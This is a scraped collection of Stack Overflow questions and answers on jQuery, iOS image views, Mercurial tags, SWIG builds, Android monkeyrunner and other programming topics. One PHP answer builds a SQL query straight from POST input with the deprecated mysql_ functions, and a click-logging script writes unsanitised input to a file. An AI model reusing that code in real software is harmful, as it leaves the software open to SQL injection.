348k.</p> <p>Can we do even better (while preserving declarativity of the code)? I don't know, I guess so...</p>
38674591	0	 <p><code>enter code here</code>Demo:<br> <a href="http://jsfiddle.net/subhash9/fRUUd/1511/" rel="nofollow">http://jsfiddle.net/subhash9/fRUUd/1511/</a> Code $(".scrollbar").animate({ scrollTop: 1000 }, 2000);</p>
4322394	0	 <p>use <code>echo</code> command.</p> <p>For delaying:</p> <p>failed to test but try to use <code>sleep</code> command.</p>
14318854	0	Native and Java Debugging(Simultaneously )with ADT 2.0 and above <p>I used sequoyah plug-in until now to debug both Java &amp; native code simultaneously. It worked However I am using ADT Build v21.0.0.1 - 543035, and I followed <a href="http://tools.android.com/recent/usingthendkplugin" rel="nofollow">http://tools.android.com/recent/usingthendkplugin</a></p> <p>As usual Google seems to be ignoring native developers, and provide very little information how to debug both Java and Native code simultaneously seamlessly, if any one has insights please provide the information.</p>
15115077	0	Adding the Image in bundle to the UIImageView using GPU Image? <p>I am very new to the user of GPU Image Framework. In my application I use the following code to get the filter effect of the Image in bundle(knee.png) , But I get only Black ImageView . I get the code from this <a href="http://stackoverflow.com/questions/12935166/gpuimage-imagebyfilteringimage-and-imagefromcurrentlyprocessedoutputwithorienta">link</a> </p> <p>show me where I went wrong </p> <pre><code>UIImage *inputImage = [UIImage imageNamed:@"knee.png"]; GPUImagePicture *stillImageSource = [[GPUImagePicture alloc] initWithImage:inputImage]; GPUImageSepiaFilter *stillImageFilter = [[GPUImageSepiaFilter alloc] init]; [stillImageSource addTarget:stillImageFilter]; [stillImageSource processImage]; UIImage *quickFilteredImage = [stillImageFilter imageByFilteringImage:inputImage]; [self.imgView setImage:quickFilteredImage]; </code></pre>
18710175	0	 <p>what i understand is </p> <p>you want to calculate the combination for any value of n and k in nCk,</p> <p>define a factorial() function outside and define a combi() function ... which calculates Combination value of n and k variables</p> <p>both function before defining the main() function... that way you can avoid declaration and then defining (i mean avoid extra lines of code).</p> <p>here is the code for combi() function</p> <pre><code>function combi(int n , int k){ int nFact, kFact, n_kFact, p; int comb; nFact=factorial(n); kFact=factorial(k); p=n-k; n_kFact=factorial(p); comb= nFact / ((n_kFact) * kFact); return comb; } </code></pre> <p>you can call this function in your main function .... use for loop to store the combination value for relative n and k .... thus you will get what you need .... also pass pointer or </p> <pre><code>&amp;array[0][0] </code></pre> <p>i.e. starting address for the array... so that you can access that array anywhere in the program.</p> <p>hope this may help you. thanks</p>
9404365	0	 <p>this goes in head (ajax request)</p> <pre><code>&lt;script type="text/javascript"&gt; function clickLog(str) { if (str=="") { document.getElementById("txtHint").innerHTML=""; return; } if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 &amp;&amp; xmlhttp.status==200) { document.getElementById("txtHint").innerHTML=xmlhttp.responseText; } } xmlhttp.open("GET","click-log.php?url="+str,true); xmlhttp.send(); } &lt;/script&gt; </code></pre> <p>this opens 'click-log.php' with url parameter 'str' &lt;&lt;&lt; 'str' is defined as 'this.href' in the onclick function brackets</p> <pre><code>&lt;a href=" { url } / file .swf " onClick="clickLog(this.href)"&gt;Click Me&lt;/a&gt; </code></pre> <p>when the link is clicked it opens and processes the php file, with the link href (this.href) as the parameter url=</p> <p>the script even came with this.....</p> <pre><code>&lt;div id="txtHint"&gt;&lt;/div&gt; </code></pre> <p>if you place this div below the link to be clicked, it will echo whatever the click-log.php outputs......</p> <p>this will be explained below....</p> <p>this is my php file</p> <pre><code>&lt;?php $url = $_GET['url']; $time = date('U'); $ip = $_SERVER['REMOTE_ADDR']; $fp = fopen('click-log.txt', 'a'); $fwrite = fwrite($fp, $time.' , '.$ip.' , '.$url.' '); // --- echo 'Log Written'; --- // ?&gt; </code></pre> <p>this writes to end of text file 'click-log.txt' with the timestamp, ip, and href of link clicked</p> <p>the echo line that is commented out, will insert the text "Log Written" into the "txtHint" div once the link has been clicked and the ajax request processed</p> <p>all files used are in the base directory however anyone who would like to implement this script on their site would probably already know how to change file locations etc</p> <p>....</p> <p>..... thanks for the info guys.... another successful script :)</p> <p>ps, now to write the script to show me the logfile in pretty graphs and pie charts :lmao:</p>
2531709	0	adding UIImageView to UIScrollView throws exception cocoa touch for iPad <p>I am a noob at OBJ-C :)</p> <p>I am trying to add a UIImageView to a UIScrollView to display a large image in my iPhone app. </p> <p>I have followed the tutorial here exactly: </p> <p><a href="http://howtomakeiphoneapps.com/2009/12/how-to-use-uiscrollview-in-your-iphone-app/" rel="nofollow noreferrer">http://howtomakeiphoneapps.com/2009/12/how-to-use-uiscrollview-in-your-iphone-app/</a></p> <p>The only difference is that in my App the View is in a seperate tab and I am using a different image.</p> <p>here is my code:</p> <pre><code>- (void)viewDidLoad { [super viewDidLoad]; UIImageView *tempImageView = [[UIImageView alloc] initWithImage:[UIImage imageNamed:@"Cheyenne81"]]; self.imageView = tempImageView; [tempImageView release]; scrollView.contentSize = CGSizeMake(imageView.frame.size.width, imageView.frame.size.height); scrollView.maximumZoomScale = 4.0; scrollView.minimumZoomScale = 0.75; scrollView.clipsToBounds = YES; scrollView.delegate = self; [scrollView addSubview:imageView]; } - (UIView *)viewForZoomingInScrollView:(UIScrollView *)scrollView{ return imageView; } </code></pre> <p>and:</p> <pre><code>@interface UseScrollViewViewController : UIViewController&lt;UIScrollViewDelegate&gt;{ IBOutlet UIScrollView *scrollView; UIImageView *imageView; } @property (nonatomic, retain) UIScrollView *scrollView; @property (nonatomic, retain) UIImageView *imageView; @end </code></pre> <p>I then create a UIScrollView in Interface Builder and link it to the scrollView outlet. Thats when I get the problem. When I run the program it crashes instantly. If I run it without linking the scrollView to the outlet, it will run (allbeit with a blnk screen).</p> <p>The following is the error I get in the console:</p> <blockquote> <p>2010-03-27 20:18:13.467 UseScrollViewViewController[7421:207] <code>*** Terminating app due to uncaught exception 'NSUnknownKeyException', reason: '[&lt;UIViewController 0x4a179b0&gt; setValue:forUndefinedKey:]: this class is not key value coding-compliant for the key scrollView.'</code></p> </blockquote>
40463680	0	 <p>Resolution: </p> <p>SC can not determine the <code>.env</code> or <code>phpunit.xml</code> in this case, so i have to specify it in my web Test Case <code>setup</code> method: </p> <pre><code> putenv('DB_DATABASE=db_name'); putenv('DB_USERNAME=postgres'); putenv('DB_PASSWORD=postgres'); putenv('DB_CONNECTION=pgsql'); putenv('DB_PORT=5432'); </code></pre> <p>the most important variable is <code>DB_CONNECTION</code>.</p>
3762519	0	Using base tags in Mercurial <p>We just started using hg and we're using base tags for common modules in our system. I have a few questions about how tags work. </p> <ul> <li><p>(#1) When I add a tag using the following command, does it automatically check in the .hgtags file for me?</p> <p>hg tag MY_TAG</p></li> <li><p>When I add a tag for the first time, it adds a line to the the .hgtags file. When I do a -f (force) on the tag command, it adds another entry to the file. Then, when I remove it, it adds <strong>2 more</strong> lines to the .hgtags file. Ultimately my file ends up looking like this:</p></li> </ul> <blockquote> <pre><code>af9e9bf4cf004a7fab4f911e95d1002579fd851a MY_TAG //from initial tag af9e9bf4cf004a7fab4f911e95d1002579fd851a MY_TAG //from delete (1/2) 0000000000000000000000000000000000000000 MY_TAG //from delete (2/2) 4611114976f02dd0d4f8ec9e84266dcea161cd3f MY_TAG //from tag after pull 0426c9e6e0ccf01e6d18d85420466d1edd1bff1f MY_TAG //from forced tag </code></pre> </blockquote> <ul> <li><p>(#2) Why does it keep adding lines to the .hgtags file? When I'm doing a base tag, I only really care to have a single entry in the file. Should I care about this bloat? Do I have to manually manage the .hgtags file to work in this way?</p></li> <li><p>(#3) Also, do the delete lines have to remain contiguous in the file? </p></li> <li><p>(#4) Is the file read from top to bottom, or does Mercurial actually find the latest changeset and use that one when I move to a tag?</p></li> </ul>
13960046	0	 <p>It's needed in this case because C# does not support return type co-variance for interfaces, so your function</p> <pre><code>public Foo Bar() { //... } </code></pre> <p>does not satisfy the <code>IFoo</code> interface since the return type of the <code>Bar</code> method is different.</p> <p>Since you want to also implement the interface, your only choice is to do so explicitly since you already have a <code>Bar()</code> method defined on the class.</p>
16220346	0	 <p>You may be able to do something with <code>ROUND</code> and a negative rounding value, which will round to the left of the decimal rather than the right. For example, the dates in your results will look like this if you use <code>ROUND(date, -1)</code>:</p> <pre><code>date round(date, -1) ---------- --------------- 1318763642 1318763640 1318763643 1318763640 1318763639 1318763640 1318763641 1318763640 1318763637 1318763640 1318763640 1318763640 1366200434 1366200430 </code></pre>
31790545	0	Add badge when push received in Swift <p>I have iOS app written in Swift. I use Parse SDK for push notifications. I want to add badge to app icon when push is received. <strong>There is problem - I can't add badge from push directly</strong> because there are a lot of users that use previous version of my app. And if I add badge from push - this badge will not disappear because previous app versions don't hide badge after it opened. So badge will be always on icon. </p> <p>So what I want is to handle push by my app. No matter is it running or not. If push arrives - my app adds badge. So I can I handle push by my app if it is not running?</p> <p>I know how to add badge with Swift</p> <pre><code>application.applicationIconBadgeNumber = 5 </code></pre> <p>But how can i do it without opening the app - just when push is received? </p>
12710512	0	Create dummy file using dd on android via monkeyrunner script <p>I am writing a script to automate a test: fill the internal memory of an Android device. The script is written in python and I am using monkeyrunner to connect to the device and issue commands.<br> I need to create dummy files to do this. If I use this command:</p> <pre><code>subprocess.call('adb shell dd if=/dev/zero of=/storage/sdcard0/dummy/dummy_file bs=1000000000 count=1', shell = True) </code></pre> <p>It works. The dummy file is created. But I would like to use the following:</p> <pre><code>device.shell('dd if=/dev/zero of=/storage/sdcard0/dummy/dummy_file bs=1000000000 count=1') </code></pre> <p>Which should do the same thing. But the latter does not work and generates this:</p> <pre><code>Importing modules Waiting for connection 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] Error executing command: dd if=/dev/zero of=/storage/sdcard0/dummy/dummy2 bs=1000000000 count=1 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice]com.android.ddmlib.ShellCommandUnresponsiveException 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at com.android.ddmlib.AdbHelper.executeRemoteCommand(AdbHelper.java:408) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at com.android.ddmlib.Device.executeShellCommand(Device.java:453) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at com.android.chimpchat.adb.AdbChimpDevice.shell(AdbChimpDevice.java:269) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at com.android.monkeyrunner.MonkeyDevice.shell(MonkeyDevice.java:217) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at java.lang.reflect.Method.invoke(Method.java:597) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at org.python.core.PyReflectedFunction.__call__(PyReflectedFunction.java:175) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at org.python.core.PyObject.__call__(PyObject.java:355) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at org.python.core.PyMethod.__call__(PyMethod.java:215) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at org.python.core.PyMethod.instancemethod___call__(PyMethod.java:221) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at org.python.core.PyMethod.__call__(PyMethod.java:206) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at org.python.core.PyObject.__call__(PyObject.java:397) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at org.python.core.PyObject.__call__(PyObject.java:401) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at org.python.pycode._pyx0.f$0(/home/gabriel/android/git/androidqa/prebuilt/monkeyrunner/InternalStorage/int_storage_fill.py:57) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at org.python.pycode._pyx0.call_function(/home/gabriel/android/git/androidqa/prebuilt/monkeyrunner/InternalStorage/int_storage_fill.py) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at org.python.core.PyTableCode.call(PyTableCode.java:165) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at org.python.core.PyCode.call(PyCode.java:18) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at org.python.core.Py.runCode(Py.java:1197) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at org.python.core.__builtin__.execfile_flags(__builtin__.java:538) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at org.python.util.PythonInterpreter.execfile(PythonInterpreter.java:156) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at com.android.monkeyrunner.ScriptRunner.run(ScriptRunner.java:116) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at com.android.monkeyrunner.MonkeyRunnerStarter.run(MonkeyRunnerStarter.java:77) 121003 16:54:32.383:S [MainThread] [com.android.chimpchat.adb.AdbChimpDevice] at com.android.monkeyrunner.MonkeyRunnerStarter.main(MonkeyRunnerStarter.java:189) </code></pre> <p>Does anybody know why this error occurs?</p>
23602463	0	 <p>You should try this simple solution :</p> <pre><code>jQuery(function($) { $('form input').on('change',function() { isDisabled = !(($('#txtusername').val().length &gt; 0 &amp;&amp; $('#txtpassword').val().length &gt; 0) || $('input[type="checkbox"]:checked').length &gt; 0); $('#signin').attr('disabled', isDisabled); }); }); </code></pre> <p>It does its job. </p>
34427474	0	Centering image in columns (liquid layout) <p>My goal is to make each of these images be centered in their respective columns while maintaining the liquid layout. Each of the images should be centered in each column (e.g. one flag per column centered). Any help would be appreciated as this is an assignment. Thanks</p> <p>HTML and CSS Code</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>.two { -moz-column-count: 2; -webkit-column-count: 2; column-count: 2; } .column1 { width:33%; float:left; } .column2 { width:33%; display: inline-block; } .column3 { width:33%; float:right; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;p class="two"&gt; Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eosle et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.&lt;/p&gt; &lt;p class="column1"&gt; &lt;img src="australia_flag.jpg" height="200" width="300" /&gt; &lt;br&gt;Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eosle et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. &lt;/p&gt; &lt;p class="column2"&gt; &lt;img src="brazil_flag.jpg" height="200" width="300" /&gt; &lt;br&gt;Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eosle et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. &lt;/p&gt; &lt;p class="column3"&gt; &lt;img src="china_flag.jpg" height="200" width="300" /&gt; &lt;br&gt;Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eosle et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. &lt;/p&gt; </code></pre> </div> </div> </p> <p>Thanks!</p>
8326335	0	 <p><code>@m_UserIdList</code> is a <code>VARCHAR(500)</code>, not a list of values, so this will not work. You can try and parse the passed in string into a table (and there are plenty of ways of doing so - just search this site).</p> <p>However, since you are using SQL Server 2008, you should take a look at <a href="http://msdn.microsoft.com/en-us/library/bb510489.aspx" rel="nofollow">table valued parameters</a> - these allow you to pass a table of values to a stored procedure.</p>
34778693	0	 <p>As JPA1123 already mentioned you will probably really just need to recompile your project/solution via right click on your solution and 'Rebuild Solution'. Also check if the 'Build' checkbox is checked for all relevant projects in the 'Configuration Manager'.</p>
30389384	0	 <p>I finally did it by making a module :).</p> <p>Credits to: <a href="https://developer.jboss.org/thread/219956?tstart=0" rel="nofollow">https://developer.jboss.org/thread/219956?tstart=0</a></p>
19791954	0	 <p>I experienced the same thing. An alternative would be to add a Label control and set the properties on that instead.</p> <p>Rather than using a BoundField, use a TemplateField. Assuming that your data is returning an indexable item:</p> <pre><code>&lt;asp:GridViewControl runat="server" ID="GridView2" AutoGenerateColumns="false"&gt; &lt;asp:BoundField HeaderText="Field0" DataField="[0]" /&gt; &lt;asp:BoundField HeaderText="Field1" DataField="[1]" /&gt; &lt;asp:TemplateField HeaderText="Monkey1" /&gt; &lt;asp:TemplateField HeaderText="Monkey2" /&gt; &lt;/asp:GridViewControl&gt; </code></pre> <p>Then in the code-behind:</p> <pre><code>protected void GridView2_RowDataBound(object sender, GridViewRowEventArgs e) { if (e.Row.RowType == DataControlRowType.DataRow) { var data_item = e.Row.DataItem; // Can use "as &lt;type&gt;;" if you know the type. if (data_item != null) { for (int i = 2; i &lt;= 3; i++) { var cell_content = new Label(); e.Row.Cells[i].Controls.Add(cell_content); cell_content.Text = data_item[i]; if (data_item[i].Contains("monkey")) { cell_content.Attributes.Add("class", "monkey bold"); } else { cell_content.Attributes.Add("class", "nomonkey bold"); } } } </code></pre> <p>Of course an alternative would be to add the Label in the TemplateField -> ItemTemplate declaration with an ID and use "Cells[i].FindControl("label_id")".</p>
19624559	0	 <p>do you want to get how many times a CD was borrowed? or who borrowed how many times? to check how many times the CD was borrowed in your</p> <pre><code>public void borrower(String nameOfBorrower) { borrower = nameOfBorrower; borrowed = true; inStock = false; times++; } public int GetTimes() { return times; } </code></pre>
25656611	0	 <p>You need to start <code>app.MainLoop()</code> before the frames will show. In your code all the frames are created before <code>MainLoop()</code> is run, that's why the frames are all displayed at once. Rather than creating multiple frames, create multiple panels, just hide the previous ones.</p> <p>Also to control the creation of frames, try returning something, in the event handlers before <code>destroy()</code> function call. And in the main frame check for the return to create the next panel.</p>
2036205	0	 <p>I'd strongly recommend using the C99 <code>&lt;stdint.h&gt;</code> header. It declares <code>int32_t</code>, <code>int64_t</code>, <code>uint32_t</code>, and <code>uint64_t</code>, which look like what you really want to use.</p> <p>EDIT: As Alok points out, <code>int_fast32_t</code>, <code>int_fast64_t</code>, etc. are probably what you want to use. The number of bits you specify should be the minimum you need for the math to work, i.e. for the calculation to not "roll over".</p> <p>The optimization comes from the fact that the CPU doesn't have to waste cycles realigning data, padding the leading bits on a read, and doing a read-modify-write on a write. Truth is, a lot of processors (such as recent x86s) have hardware in the CPU that optimizes these access pretty well (at least the padding and read-modify-write parts), since they're so common and usually only involve transfers between the processor and cache.</p> <p>So the only thing left for you to do is make sure the accesses are aligned: take <code>sizeof(int_fast32_t)</code> or whatever and use it to make sure your buffer pointers are aligned to that.</p> <p>Truth is, this may not amount to that much improvement (due to the hardware optimizing transfers at runtime anyway), so writing something and timing it may be the only way to be sure. Also, if you're really crazy about performance, you may need to look at SSE or AltiVec or whatever vectorization tech your processor has, since that will outperform anything you can write that is portable when doing vectored math.</p>
23675292	0	How can I achieve fast frame rate of a JPG image display on iOS? <p>I've been able to get nearly 10 FPS on iPhone 3GS of solid JPG switching, but I've seen faster is possible with GPU and CALayer. Can you help me determine how to achieve this? I’ve tried some various stuff below.</p> <p>Here’s what I’ve been using…</p> <pre><code>#define FPS 12.0 [NSTimer scheduledTimerWithTimeInterval:(1.0 / FPS) target:self selector:@selector(animateMethod:) userInfo:nil repeats:YES]; </code></pre> <p>Please note the method baseImagePath returns different paths for each invocation.</p> <pre><code>- (void)animateMethod:(NSTimer *)timer { self.imageView.image = [UIImage imageWithContentsOfFile:[self baseImagePath]]; } </code></pre> <p>Here’s what I’ve tried…</p> <pre><code>- (void)animateMethod:(NSTimer *)timer { self.layerView.layer.contents = [(__bridge id)([[UIImage imageWithContentsOfFile:[self baseImagePath]] CGImage]); } </code></pre>
19977505	0	 <p>In the past, when we had to do something like this, we just used apply (<a href="http://jsfiddle.net/85TeD/1/" rel="nofollow">http://jsfiddle.net/85TeD/1/</a>):</p> <pre><code>function UsersListViewModel() { var self = this; ListViewModel.apply(self); self.OtherProp = ko.observable("other"); } </code></pre> <p>If you want to implement full classical inheritance, this is a start: <a href="http://www.crockford.com/javascript/inheritance.html" rel="nofollow">http://www.crockford.com/javascript/inheritance.html</a> </p>
34803357	0	 <p>For every touch, you just need create and add(you missed this step) square in touch begin (or touch end), don't do in touch move.</p> <pre><code> override func touchesBegan(touches: Set&lt;UITouch&gt;, withEvent event: UIEvent?) { let touch = touches.first location = touch!.locationInView(self.view) person.center = location for _ in touches { let mySquare: UIView = UIView(frame: CGRect(x: 0,y: 0,width: 20,height: 20)) mySquare.backgroundColor = UIColor.cyanColor() mySquare.center = randomPoint view.addSubview(mySquare) // add square to the view } } </code></pre>
26937596	0	 <p><strong>Use Ajax for this :</strong></p> <p>Add this code to main page where you want to display table data</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;script&gt; function dashboard() { var query_parameter = document.getElementById("name").value; var dataString = 'parameter=' + query_parameter; // AJAX code to execute query and get back to same page with table content without reloading the page. $.ajax({ type: "POST", url: "execute_query.php", data: dataString, cache: false, success: function(html) { // alert(dataString); document.getElementById("table_content").innerHTML=html; } }); return false; } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="table_content"&gt;&lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>In <strong>table_content</strong> div the data come from <strong>execute_query.php</strong> page will load without refreshing the page.</p> <p><strong>execute_query.php</strong></p> <pre><code>$user_name = $_POST['parameter']; $query="SELECT * from info where name=$user_name"; $result=mysql_query($query); $rs = mysql_fetch_array($result); do { ?&gt; &lt;table&gt; &lt;tr&gt; &lt;td&gt;&lt;?php echo $rs['city']; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $rs['phone_number']; ?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;?php }while($rs = mysql_fetch_array($result)); </code></pre>
6359127	0	 <p>Can't you just create a hash map that has a string key and store whatever numeric value you want? I.e. </p> <pre><code>Map&lt;String, Integer&gt; m = new HashMap&lt;String,Integer&gt;(); m.put(makeKey(3,2), 2); // where makeKey returns something like "[3,2]" </code></pre> <p>EDIT: </p> <p>The downside is you don't have a reliable iteration order, i.e. if you want to iterate over everything in the Nth row or column, there's no easy way to do that efficiently.</p>
19454923	0	 <p>Most people would prevent the form from submitting by calling the <a href="https://developer.mozilla.org/en-US/docs/Web/API/event.preventDefault" rel="nofollow"><code>event.preventDefault()</code></a> function. </p> <p>Another means is to remove the onclick attribute of the button, and get the code in <code>processForm()</code> out into <code>.submit(function() {</code> as <code>return false;</code> causes the form to not submit. Also, make the <code>formBlaSubmit()</code> functions return Boolean based on validity, for use in <code>processForm();</code></p> <p><code>katsh</code>'s answer is the same, just easier to digest. </p> <p>(By the way, I'm new to stackoverflow, give me guidance please. )</p>
26986591	0	Angularjs: access template in directive <p>What I want to do is to append compiled template to some other DOM element in Angualrjs directive. Is it possible? How? </p> <p>I know you can use transclude to include the template and keep content in the tag, but how do I attach my compiled template to other DOM element?</p> <pre><code>angular.module("my.directive") .directive('passwordStrength', [function(){ return { templateUrl: '/tpl/directive/passwordStrength.html', restrict: 'A', link: function postLink(scope, iElement, iAttrs){ console.log('password strength is running'); iElement.append($template) // problem here!!! } }; }]); </code></pre>
25883058	0	 <p>Use the option <code>-I/Users/myuser/anaconda/include/python2.7</code> in the <code>gcc</code> command. (That's assuming you are using python 2.7. Change the name to match the version of python that you are using.) You can use the command <code>python-config --cflags</code> to get the full set of recommended compilation flags:</p> <pre><code>$ python-config --cflags -I/Users/myuser/anaconda/include/python2.7 -I/Users/myuser/anaconda/include/python2.7 -fno-strict-aliasing -I/Users/myuser/anaconda/include -arch x86_64 -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes </code></pre> <p>However, to build the extension module, I recommend using a simple setup script, such as the following <code>setup.py</code>, and let <code>distutils</code> figure out all the compiling and linking options for you.</p> <pre><code># setup.py from distutils.core import setup, Extension example_module = Extension('_example', sources=['example_wrap.c', 'example.c']) setup(name='example', ext_modules=[example_module], py_modules=["example"]) </code></pre> <p>Then you can run:</p> <pre><code>$ swig -python example.i $ python setup.py build_ext --inplace </code></pre> <p>(Take a look at the compiler commands that are echoed to the terminal when <code>setup.py</code> is run.)</p> <p><code>distutils</code> knows about SWIG, so instead of including <code>example_wrap.c</code> in the list of source files, you can include <code>example.i</code>, and <code>swig</code> will be run automatically by the setup script:</p> <pre><code># setup.py from distutils.core import setup, Extension example_module = Extension('_example', sources=['example.c', 'example.i']) setup(name='example', ext_modules=[example_module], py_modules=["example"]) </code></pre> <p>With the above version of <code>setup.py</code>, you can build the extension module with the single command</p> <pre><code>$ python setup.py build_ext --inplace </code></pre> <p>Once you've built the extension module, you should be able to use it in python:</p> <pre><code>&gt;&gt;&gt; import example &gt;&gt;&gt; example.fact(5) 120 </code></pre> <p>If you'd rather not use the script <code>setup.py</code>, here's a set of commands that worked for me:</p> <pre><code>$ swig -python example.i $ gcc -c -I/Users/myuser/anaconda/include/python2.7 example.c example_wrap.c $ gcc -bundle -undefined dynamic_lookup -L/Users/myuser/anaconda/lib example.o example_wrap.o -o _example.so </code></pre> <p>Note: I'm using Mac OS X 10.9.4:</p> <pre><code>$ gcc --version Configured with: --prefix=/Library/Developer/CommandLineTools/usr --with-gxx-include-dir=/usr/include/c++/4.2.1 Apple LLVM version 5.1 (clang-503.0.40) (based on LLVM 3.4svn) Target: x86_64-apple-darwin13.3.0 Thread model: posix </code></pre>
